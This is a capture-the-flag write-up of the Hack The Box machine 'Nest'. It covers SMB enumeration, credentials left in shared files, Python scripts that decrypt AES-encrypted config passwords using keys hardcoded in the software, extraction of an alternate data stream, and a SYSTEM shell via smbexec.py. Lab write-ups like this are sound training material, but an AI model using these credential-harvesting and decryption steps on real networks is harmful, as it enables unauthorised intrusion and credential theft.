HTB Writeup: Nest
Even files can have alternative behaviour
Enumeration
nmap
# Nmap 7.92 scan initiated Thu Jun 30 18:27:50 2022 as: nmap -sC -sV -T3 -oA nmap-tcp-all-ports -p- -iL ip.txt
Nmap scan report for 10.129.134.93 (10.129.134.93)
Host is up (0.085s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     Reporting Service V1.2
|     Unrecognised command
|   Help:
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
Host script results:
|_clock-skew: 4s
| smb2-time:
|   date: 2022-06-30T13:02:24
|_  start_date: 2022-06-30T12:56:44
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 30 18:32:59 2022 -- 1 IP address (1 host up) scanned in 309.02 seconds
- A SMB service is running on port 445. To enumerate, 
smbmapcan be used with credentials ofanonymous:anonymousfor a guest session. 
SMBMap
- 
On running SMBMap, following shares with
READpermissions are found.- Data
 - Users
 

 
SMBClient
- 
Using
smbclient.py, the shares are further enumerated. - 
A set of credentials is found in the file located at
\Shared\Templates\HR\Welcome Email.txtThe contents of the files are found to be:We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME> You will find your home folder in the following location: \\HTB-NEST\Users\<USERNAME> If you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you. Username: TempUser Password: welcome2019 Thank you HR - 
The credentials obtained are
TempUser:welcome2019 - 
These credentials are then used to enumerate SMB Shares further.
 - 
The new user has access to the
ITfolder inDatashare. The filesystem is enumerated further. - 
Another set of credentials is found in the file located at
\IT\Configs\RU Scanner\RU_Config.xmlThe contents of files are:<?xml version="1.0"?> <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Port>389</Port> <Username>c.smith</Username> <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password> </ConfigFile> - 
The password in xml file appears to be base64 encoded string. After decoding the string the output is found to be raw bytes.

 
User Access
- 
Another interesting file is found in the directory
\IT\Configs\NotepadPlusPlus. Theconfig.xmlhas a file history of the files edited on notepad++ by the users recently.
 - 
The interesting file is
\\HTB-NEST\Secure$\IT\Carl\Temp.txt - 
Switching the share to
Secure$, the attempt to cd inITalone is blocked withSTATUS_ACCESS_DENIED. Apparently the usertempUserdoesn’t has access. But on changing the directory directly toIT/Carl/was no error is found. - 
Turns out,
RU Scanneris an in-house software being developed by Carl and the project is located at\IT\Carl\VB Projects\WIP\RU - 
The encryption cipher being used to store config file is found to be salted
AES-256-CBC. The flaw in the code is the password (encryption-key), the salt and IVs are hardcoded in the the source code fileUtils.vb
 - 
The following python script can be used to obtain plaintext credentials form the base64 encoded string found the
RU_Config.xml:#!/usr/bin/env python3 import binascii import base64 from Crypto.Cipher import AES from Crypto.Protocol import KDF from Crypto.Util.Padding import unpad password = "N3st22" salt = "88552299" ivs = b"464R5DFA5DL6LE28" iteration_for_key = 2 key_len = 256//8 ciphertext = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" # Step 1: Create the key to be used with AES-256-CBC cipher key = KDF.PBKDF2(password, salt, count=iteration_for_key, dkLen=key_len) # Step 2: Create the cipher according to the file Utils.vb cipher = AES.new(key, AES.MODE_CBC, iv=ivs) # Step 3: Decrypt the base64 string using the created cipher. ciphertext_decoded = base64.b64decode(ciphertext) padded_plaintext = cipher.decrypt(ciphertext_decoded) plaintext = unpad(padded_plaintext, cipher.block_size) print(f"Password recovered: {plaintext}") 

- The credentials 
c.smith:xRxRxPANCAK3SxRxRxcan be used to further enumerate the filesystem on SMB. 
Privilege Escalation
Enumeration
ADS (Alternate Data Stream)
- 
A special folder named
HQK Reportingis found in the directory//HTB-NEST/Users/C.Smith - 
A file named
Debug Mode Password.txtis present in the directory, but on normalgetcommand via smbclient, the file downloaded turns out to be empty.
 - 
On running
allinfocommand on the file in smbclient, it is found that the file is indeed not empty, 15 bytes in size and has 2 streams.- stream: [::$DATA] : which returns empty file (default)
 - stream: [:Password:$DATA] : which returns 15 bytes. (ADS: Alternate Data Stream)
 
 - 
The file can be downloaded using alternate data stream with following commands in smbclient:
altname "Debug Mode Password.txt" # To get a name without spaces # DEBUGM~1.TXT get 'DEBUGM~1.TXT:Password:$DATA' # getting file \C.Smith\HQK Reporting\DEBUGM~1.TXT:Password:$DATA of size 15 as DEBUGM~1.TXT:Password:$DATA (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) - 
The file is stored by the name
DEBUGM~1.TXT:Password:$DATAin current local working directory. The password is found to beWBQ201953D8w - 
The file
HQK_Config_Backup.xmlshows that the service is running on portTCP/4386. - 
The service can be connected to using
telnet

 - 
The
DEBUGmode in HQK Service allows setting the directory. - 
The default directory is set at
C:\Program Files\HQK\ALL QUERIES. On moving up one directory usingSETDIR .., there are 2 other directories present.LDAPandLogs.
 - 
Inside
LDAP, a configuration file is found, along with an executable, which was also present in\\HTB-NEST\Users\C.Smith\HQK Reporting\AD Integration Module,hqkldap.exe - 
The contents of
Ldap.confcontains another encrypted credential for the userAdministrator:Domain=nest.local Port=389 BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local User=Administrator Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4= - 
The
hkqldap.exeis downloaded from SMB filesystem. On analyzing the file with https://github.com/dnSpy/dnSpy, it is found it’s the same encryption used earlier, with different password and salt.
 - 
On modifying the previous file with new password, salt, and iteration values.
#!/usr/bin/env python3 import binascii import base64 from Crypto.Cipher import AES from Crypto.Protocol import KDF from Crypto.Util.Padding import unpad password = "667912" salt = "1313Rf99" ivs = b"1L1SA61493DRV53Z" iteration_for_key = 3 key_len = 256//8 ciphertext = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" # Step 1: Create the key to be used with AES-256-CBC cipher key = KDF.PBKDF2(password, salt, count=iteration_for_key, dkLen=key_len) # Step 2: Create the cipher according to the file Utils.vb cipher = AES.new(key, AES.MODE_CBC, iv=ivs) # Step 3: Decrypt the base64 string using the created cipher. ciphertext_decoded = base64.b64decode(ciphertext) padded_plaintext = cipher.decrypt(ciphertext_decoded) plaintext = unpad(padded_plaintext, cipher.block_size) print(f"Password recovered: {plaintext}") 

- 
Using the credentials
Administrator:XtH4nkS4Pl4y1nGXwithsmbexec.py, an semi-interactive shell with the privileges ofNT System/Authorityis achieved.
 
The remote target is now completely compromised.